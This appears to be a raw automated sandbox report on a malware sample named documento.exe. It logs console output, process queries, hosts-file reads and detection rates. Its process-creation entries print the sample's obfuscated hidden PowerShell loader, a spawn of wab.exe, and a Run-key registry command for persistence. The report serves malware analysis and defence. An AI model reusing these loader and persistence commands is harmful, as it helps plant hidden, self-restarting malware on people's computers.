Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......L........U...................... .i.t.e.........(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......L........U...................... .i.t.e.........................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......L........U...................... .i.t.e.........(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......L........U...................... .i.t.e.........................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......L........U...................... .i.t.e.........(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......L........U...................... .i.t.e.........................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......L........U...................... .i.t.e.........(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .t.r.i.n.g.). .[.C.o.p.y.-.I.t.e.m.].,. .I.O.E.x.c.e.p.t.i.o.n.t.e.........(.......D.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......L........V......................o.n.t.e.........(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......L........V......................o.n.t.e.........................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......L.......)V......................o.n.t.e.........(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .C.o.m.m.a.n.d.....h.......L.......;V......................o.n.t.e.........(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......D.......IV......................o.n.t.e.........(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....`.......h.......D.......\V......................o.n.t.e.........(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......D.......hV......................o.n.t.e.........(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................2.4.....(.P.....`.......h.......\........Y.........................s............(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....`.......h.......\........Y.........................s............(...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t........................d.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......................#d.........................s............8...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................s.t.r.i.n.g.....t.......................5d.........................s............8...............x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......................Ad.........................s............8...............x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.3.1.......Sd.........................s............8.......".......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t......................._d.........................s............8...............x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......................qd.........................s....................Z.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......................}d.........................s............8...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t........................d.........................s....................Z.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t........................d.........................s............8...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t........................d.........................s............................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t........................d.........................s............8...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .l.i.d.a.t.i.o.n.E.x.c.e.p.t.i.o.n..d.........................s............8.......(.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t........................d.........................s............8...............x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t........................d.........................s............................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t........................d.........................s............8...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t........................e.........................s....................l.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t........................e.........................s............8...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....t.......................(e.........................s............8...............x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......................4e.........................s............8...............x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................C.o.p.y.-.I.t.e.m. .:. .C.a.n.n.o.t. .o.v.e.r.w.r.i.t.e. .t.h.e. .i.t.e.m. .....8.......L.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t........................e...................... .i.t.e.........8...............x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t........................e...................... .i.t.e.........................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t........................e...................... .i.t.e.........8...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..........e...................... .i.t.e.........8....... .......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t........................e...................... .i.t.e.........8...............x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t........................e...................... .i.t.e.........................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t........................e...................... .i.t.e.........8...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t........................e...................... .i.t.e.........................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t........................f...................... .i.t.e.........8...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t........................f...................... .i.t.e.........................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t......................."f...................... .i.t.e.........8...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .t.r.i.n.g.). .[.C.o.p.y.-.I.t.e.m.].,. .I.O.E.x.c.e.p.t.i.o.n.t.e.........8.......D.......x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......................@f......................o.n.t.e.........8...............x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......................Rf......................o.n.t.e.........................x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......................^f......................o.n.t.e.........8...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .C.o.m.m.a.n.d.....................pf......................o.n.t.e.........8...............x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t.......................\|f......................o.n.t.e.........8...............x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....t........................f......................o.n.t.e.........8...............x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t........................f......................o.n.t.e.........8...............x...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................2.4.....(.P.....t...............@........g.........................s............8...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....t...............@........g.........................s............8...............x...............

Source: documento.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process

Source: C:\Users\user\Desktop\documento.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\documento.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: documento.exe	ReversingLabs: Detection: 45%
Source: documento.exe	Virustotal: Detection: 29%

Source: C:\Users\user\Desktop\documento.exe

File read: C:\Users\user\Desktop\documento.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\documento.exe "C:\Users\user\Desktop\documento.exe"
Source: C:\Users\user\Desktop\documento.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)"
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ($Preeternal)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ($Preeternal)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Users\user\Desktop\documento.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"

Source: C:\Users\user\Desktop\documento.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Section loaded: fms.dll	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\documento.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn2.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rasadhlp.dll	Jump to behavior
